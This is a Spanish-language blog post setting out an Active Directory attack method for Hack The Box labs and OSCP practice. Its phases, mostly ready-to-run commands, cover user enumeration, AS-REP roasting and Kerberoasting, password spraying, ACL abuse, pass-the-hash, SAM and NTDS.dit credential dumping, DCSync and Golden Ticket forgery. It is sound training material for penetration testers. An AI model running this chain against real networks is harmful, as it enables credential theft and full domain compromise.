Toda box de AD sigue el mismo patrón. Arrancas sin nada, encontrás una grieta, la ensanchás, y sos dueño del dominio. La cadena es predecible. Lo que cambia es donde cada eslabón se rompe.

Esta es la metodología que sigo en cada box de AD. Construida haciendo boxes como Active, Forest, Blackfield, y un montón más. No es teoría — es lo que realmente corro.


Fase 0 — Setup

Antes de tocar la box. 30 segundos de setup que previenen 30 minutos de confusión después.

Agregar el Dominio a /etc/hosts

echo "$IP domain.htb dc01.domain.htb" | sudo tee -a /etc/hosts

Siempre agregar tanto el nombre de dominio como el hostname del DC. La autenticación Kerberos requiere resolución de hostname apropiada. Si tus herramientas fallan con errores raros, revisá /etc/hosts primero. He perdido cantidades vergonzosas de tiempo con esto.

Sincronizar tu Reloj

sudo ntpdate -s $IP

Kerberos es sensible al tiempo. Si tu reloj está más de 5 minutos desfasado del DC, la autenticación falla. Sin mensaje de error útil — simplemente falla. Sincronizar antes de empezar.

Crear tu Directorio de Trabajo

mkdir -p {scans,loot,bloodhound}

Vas a recolectar un montón de output. Quedate organizado o te ahogás.


Fase 1 — Sin Credenciales

No tenés nada. El objetivo es simple: conseguir un username, conseguir una password, conseguir lo que sea.

1.1 — Enumeración con Null Session

Probar todo sin autenticar. Algo generalmente habla.

# SMB null session
crackmapexec smb $IP -u '' -p ''
smbclient -N -L //$IP/
smbmap -H $IP -u '' -p ''

# RPC null session
rpcclient -U '' -N $IP
> enumdomusers
> enumdomgroups
> querydispinfo

# LDAP anonymous bind
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb"

Lo que estoy buscando: Usernames. Esa es la prioridad. Un username válido abre puertas.

En Forest, null RPC me dio la lista completa de usuarios. Eso fue todo el foothold — AS-REP Roasting a uno de esos usuarios.

1.2 — Enumeración de Usuarios via Kerberos

Si null sessions no dan nada, Kerberos frecuentemente confirma usernames válidos sin triggear lockouts.

kerbrute userenum -d domain.htb --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Los usuarios válidos retornan una respuesta diferente a los inválidos. Sin riesgo de lockout. Sin eventos de logon fallido para usuarios válidos.

1.3 — AS-REP Roasting (Pre-Auth Deshabilitado)

Una vez que tenés usernames — aunque sean solo unos pocos — proba esto inmediatamente.

impacket-GetNPUsers domain.htb/ -dc-ip $IP -usersfile users.txt -no-pass -format hashcat

Si alguna cuenta tiene “Do not require Kerberos preauthentication” → obtenés un hash. Crackealo.

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Esta fue la ruta en Forest. Null RPC → lista de usuarios → AS-REP Roast → primeras creds. Cadena limpia.

1.4 — Enumeración de Shares SMB (Guest/Anonymous)

Algunos shares son legibles sin creds. O con acceso guest.

smbmap -H $IP -u 'guest' -p ''
crackmapexec smb $IP -u 'guest' -p '' --shares

En Active, el share Replication era legible anonimamente. Tenía un archivo Groups.xml con una GPP password. Eso fue el foothold.

Siempre descargar e inspeccionar todo en shares legibles:

smbget -R smb://$IP/sharename/

Buscar:

  • Archivos GPP (Groups.xml) — contienen passwords encriptadas, descifrables con gpp-decrypt
  • Scripts — logon scripts, batch files, scripts PowerShell con creds hardcodeadas
  • Archivos de config — web.config, connection strings, cualquier cosa con credenciales
  • Documentacion — políticas de passwords, passwords por defecto, docs de onboarding

1.5 — SNMP Walk

Si UDP 161 está abierto:

snmpwalk -v2c -c public $IP 1.3.6.1

SNMP puede dumpear procesos corriendo, software instalado, a veces incluso command lines con credenciales.

1.6 — DNS Zone Transfer

dig axfr @$IP domain.htb

Revela subdominios, hostnames, a veces otros DCs o servidores que no sabías que existían.

Punto de Decisión — Fin de Fase 1

Si tenés credenciales → Fase 2. Si tenés usernames pero no passwords → password spray.

# Password spraying (cuidado con el lockout!)
crackmapexec smb $IP -u users.txt -p 'Season2026!' --continue-on-success

Passwords a probar: Welcome1, Password123, CompanyName2026!, Season+Year+!. Revisar la política de passwords primero si se puede:

crackmapexec smb $IP -u '' -p '' --pass-pol

Si no tenés nada — revisar servicios web, buscar otros vectores de ataque. A veces el foothold de AD viene a través de una web app en la misma box.


Fase 2 — Primeras Credenciales

Tenés un username y password de dominio. El juego cambia completamente.

2.1 — Validar y Probar Acceso

Primero, confirmar qué pueden hacer tus creds.

# Probar creds en todos los servicios
crackmapexec smb $IP -u 'user' -p 'password'
crackmapexec winrm $IP -u 'user' -p 'password'
crackmapexec mssql $IP -u 'user' -p 'password'
crackmapexec ldap $IP -u 'user' -p 'password'

Ese tag (Pwn3d!) en WinRM significa que tenés acceso a shell. Si lo ves → evil-winrm inmediatamente.

evil-winrm -i $IP -u 'user' -p 'password'

2.2 — Recolección BloodHound

Correr esto en el momento que tenes creds válidas. No después. Ahora.

bloodhound-python -u 'user' -p 'password' -d domain.htb -ns $IP -c all

Esto recolecta usuarios, grupos, sesiones, ACLs, trusts — todo. Importar los archivos JSON a BloodHound.

Qué buscar en BloodHound:

  1. “Shortest Path to Domain Admin” — primera revisión obvia
  2. “Shortest Path from Owned Principals” — marcar tu usuario como owned primero
  3. Cuentas Kerberoasteables — revisar qué SPNs existen
  4. Usuarios con derechos DCSync
  5. Cuentas con permisos peligrosos — GenericAll, GenericWrite, WriteDACL, ForceChangePassword, AddMember

En Blackfield, BloodHound mostró que mi usuario comprometido tenía derechos de ForceChangePassword sobre otra cuenta. Esa fue toda la ruta de escalada de privilegios. Habría tardado una eternidad en encontrarla manualmente.

2.3 — Kerberoasting

Autenticado ahora. Apuntar a service accounts con SPNs.

impacket-GetUserSPNs domain.htb/user:password -dc-ip $IP -request -outputfile kerberoast.hash

Crackear los hashes:

hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt

Las service accounts frecuentemente tienen passwords débiles y altos privilegios. En Active, hacer Kerberoasting al SPN de la cuenta Administrator me dio el dominio. Directo de primeras creds a DA.

Priorizar el cracking: Cuentas en Domain Admins o con acceso nivel admin (BloodHound te dice esto).

2.4 — Enumeración de Shares Autenticada

Ahora podes ver más shares.

smbmap -H $IP -u 'user' -p 'password'
crackmapexec smb $IP -u 'user' -p 'password' --shares

Buscar shares nuevos que no eran visibles antes. SYSVOL y NETLOGON siempre valen la pena revisar:

smbclient //$IP/SYSVOL -U 'user%password'
smbclient //$IP/NETLOGON -U 'user%password'

SYSVOL contiene group policies. NETLOGON contiene logon scripts. Ambos pueden contener credenciales.

2.5 — LDAP Dump Autenticado

# Todos los usuarios con detalles
ldapsearch -x -H ldap://$IP -D "[email protected]" -w 'password' -b "DC=domain,DC=htb" '(objectClass=person)' sAMAccountName description memberOf servicePrincipalName

# Computadoras
ldapsearch -x -H ldap://$IP -D "[email protected]" -w 'password' -b "DC=domain,DC=htb" '(objectClass=computer)' cn operatingSystem

Revisar campos de descripción. Los admins ponen passwords ahí más seguido de lo que creerías.

2.6 — ACL Abuse

BloodHound encontró permisos peligrosos? Hora de explotarlos.

GenericAll sobre un usuario:

# Resetear su password
net rpc password "targetuser" "NewPass123!" -U "domain.htb/user%password" -S $IP

GenericWrite sobre un usuario:

# Setear SPN para targeted Kerberoasting
impacket-addspn -u 'domain.htb/user' -p 'password' -t 'targetuser' -s 'HTTP/fake' "dc01.domain.htb"
# Después Kerberoastearlo

WriteDACL:

# Darte derechos DCSync
impacket-dacledit -action 'write' -rights 'DCSync' -principal 'user' -target-dn 'DC=domain,DC=htb' "domain.htb/user:password"

ForceChangePassword:

rpcclient -U 'user%password' $IP
> setuserinfo2 targetuser 23 'NewPass123!'

AddMember sobre un grupo:

net rpc group addmem "Target Group" "user" -U "domain.htb/user%password" -S $IP

Punto de Decisión — Fin de Fase 2

Conseguiste creds de admin? → Fase 4 (Comprometer el Dominio). Conseguiste creds de otro usuario? → Repetir Fase 2 con nuevo usuario, revisar qué puede acceder este. Conseguiste local admin en una máquina? → Fase 3 (Lateral Movement). Trabado? → Revisar BloodHound de nuevo. Probar queries diferentes. Mirar más de cerca las membresías de grupo.


Fase 3 — Lateral Movement

Tenés credenciales (password o hash) y necesitas moverte a otras máquinas.

3.1 — Elegir tu Herramienta

Árbol de decisión para ejecución remota:

  • Tenés password + WinRM abierto (5985)?evil-winrm (shell más limpia)
  • Tenés hash + WinRM abierto?evil-winrm -H <hash> (Pass the Hash)
  • Tenés password + sin WinRM?impacket-psexec (requiere admin, cae a SYSTEM)
  • Tenés hash + sin WinRM?impacket-psexec -hashes :NTLM_HASH (PtH)
  • Necesitas sigilo?impacket-wmiexec (menos ruidoso que psexec)
  • psexec falla?impacket-smbexec o impacket-atexec como alternativas
# Evil-WinRM con password
evil-winrm -i $TARGET -u 'admin' -p 'password'

# Evil-WinRM con hash (Pass the Hash)
evil-winrm -i $TARGET -u 'admin' -H 'NTLM_HASH'

# PsExec con password
impacket-psexec domain.htb/admin:password@$TARGET

# PsExec con hash
impacket-psexec -hashes :NTLM_HASH domain.htb/admin@$TARGET

# WMIExec (menos ruidoso)
impacket-wmiexec domain.htb/admin:password@$TARGET

3.2 — Cosecha de Credenciales en Hosts Comprometidos

Una vez en una máquina, cosechar todo.

# Dumpear SAM (cuentas locales)
impacket-secretsdump admin:password@$TARGET

# O desde una shell:
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Descargar y extraer offline:
impacket-secretsdump -sam sam.bak -system system.bak LOCAL

Buscar:

  • Hashes de local admin (reutilizados entre máquinas?)
  • Cached domain credentials
  • LSA secrets

3.3 — Reutilización de Credenciales

La técnica #1 de lateral movement. Probar cada credencial que tengas contra cada máquina.

# Sprayear un hash contra todos los hosts
crackmapexec smb targets.txt -u 'admin' -H 'NTLM_HASH' --continue-on-success

La reutilización de passwords de local admin es extremadamente común. Un hash frecuentemente te da múltiples máquinas.

3.4 — Token / Session Abuse (Desde una Shell)

Si tenés shell en una máquina donde un usuario privilegiado está logueado:

# Revisar tokens (requiere SeImpersonatePrivilege)
# Usar herramientas como Rubeus, Incognito, o PrintSpoofer
whoami /priv

Si tenés SeImpersonatePrivilege → Potato attacks (PrintSpoofer, GodPotato, etc.) para SYSTEM.


Fase 4 — Comprometer el Dominio

Tenés acceso equivalente a Domain Admin. Hora de probarlo.

4.1 — DCSync

La forma más limpia de dumpear todos los hashes del dominio. Requiere derechos de replicación (Domain Admins tienen esto por defecto).

impacket-secretsdump domain.htb/admin:password@$DC_IP

Esto dumpea:

  • Todos los hashes NTLM de usuarios del dominio (incluyendo krbtgt)
  • Todos los hashes de computadoras del dominio
  • Kerberos keys

Queres el hash NTLM de Administrator y el hash de krbtgt.

# DCSync solo Administrator
impacket-secretsdump -just-dc-user Administrator domain.htb/admin:password@$DC_IP

# DCSync solo krbtgt (para Golden Ticket)
impacket-secretsdump -just-dc-user krbtgt domain.htb/admin:password@$DC_IP

4.2 — Extracción de NTDS.dit

Alternativa a DCSync. Agarrar el archivo de base de datos directamente.

# Desde una admin shell en el DC
# Crear shadow copy
vssadmin create shadow /for=C:

# Copiar NTDS.dit del shadow
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system.bak

# Descargar ambos archivos, después extraer offline
impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL

4.3 — Golden Ticket

Con el hash de krbtgt, podés forjar tickets para cualquier usuario. Persistencia que sobrevive resets de password (excepto reset de krbtgt).

# Obtener SID del dominio
impacket-lookupsid domain.htb/admin:password@$DC_IP

# Forjar Golden Ticket
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain domain.htb Administrator

# Usarlo
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]

Para el OSCP, DCSync generalmente es suficiente para probar el compromiso del dominio. Golden Ticket es bueno de entender pero overkill para la mayoría de escenarios de examen.

4.4 — Pass the Hash al Domain Controller

Si tenés el hash NTLM de DA, simplemente usalo directamente.

# Shell en el DC
impacket-psexec -hashes :DA_NTLM_HASH domain.htb/Administrator@$DC_IP
evil-winrm -i $DC_IP -u 'Administrator' -H 'DA_NTLM_HASH'

Ruta más simple. Hash de DCSync → PtH → shell en DC → proof.txt.


La Cadena Completa — Visual

Fase 1 (Sin Creds)
├── Null sessions  usernames
├── Kerberos user enum  usernames
├── AS-REP Roasting  password hash
├── Anonymous shares  credenciales/info
├── SNMP/DNS  recopilación de info
└── Password spraying  primeras creds
         
         
Fase 2 (Primeras Creds)
├── BloodHound  rutas de ataque
├── Kerberoasting  hashes de service accounts
├── Enumeración de shares  más creds/info
├── LDAP dump  usuarios, descripciones, grupos
├── ACL abuse  escalada de privilegios
└── Reutilización de creds  más acceso
         
         
Fase 3 (Lateral Movement)
├── Pass the Hash  otras máquinas
├── Evil-WinRM  shells
├── PsExec/WMIExec  shells
├── SAM/LSA dumps  más hashes
└── Token abuse  privilegios más altos
         
         
Fase 4 (Comprometer Dominio)
├── DCSync  todos los hashes
├── NTDS.dit  extracción offline
├── Golden Ticket  persistencia
└── PtH como DA  proof.txt

Errores Comunes que he Cometido en Boxes de AD

  1. No correr BloodHound inmediatamente. Antes enumeraba manualmente después de conseguir creds. BloodHound muestra rutas en segundos que toman horas de encontrar manualmente. Correrlo primero. Siempre.

  2. Olvidar sincronizar el tiempo. Las herramientas de Kerberos fallan silenciosamente o con errores crípticos cuando los relojes están desfasados. ntpdate antes de empezar.

  3. No revisar ACLs. La ruta a DA es frecuentemente a través de ACL abuse, no explotación directa. El análisis de edges de BloodHound es donde está el oro.

  4. Intentar crackear todo. No todos los hashes de Kerberoast van a crackear. Si no crackea en 5 minutos con rockyou, avanza y busca otra ruta.

  5. Ignorar reutilización de passwords. Un set de creds debería probarse contra cada servicio, cada máquina. crackmapexec con --continue-on-success contra todos los hosts descubiertos.

  6. No agregar hostnames descubiertos a /etc/hosts. Cada hostname que encontrás en BloodHound o LDAP — agregarlo. Algunas herramientas requieren resolución de nombres apropiada.


Cheat Sheet — Herramientas por Fase

FaseHerramientaPropósito
0ntpdateSincronización de reloj
1crackmapexecNull sessions, spraying
1kerbruteEnumeración de usuarios
1impacket-GetNPUsersAS-REP Roasting
1enum4linuxEnumeración SMB
2bloodhound-pythonRecolección de datos AD
2impacket-GetUserSPNsKerberoasting
2ldapsearchEnumeración LDAP
2smbmapEnumeración de shares
3evil-winrmShell remota (WinRM)
3impacket-psexecShell remota (SMB)
3impacket-wmiexecShell remota (WMI)
3impacket-secretsdumpCredential dumping
4impacket-secretsdumpDCSync
4impacket-ticketerGolden Ticket

La cadena es siempre la misma: enumerar → encontrar una grieta → escalar → repetir hasta DA. Lo que cambia es dónde encontrás cada grieta. BloodHound y enumeración metódica la encuentran más rápido de lo que adivinar jamás podrá.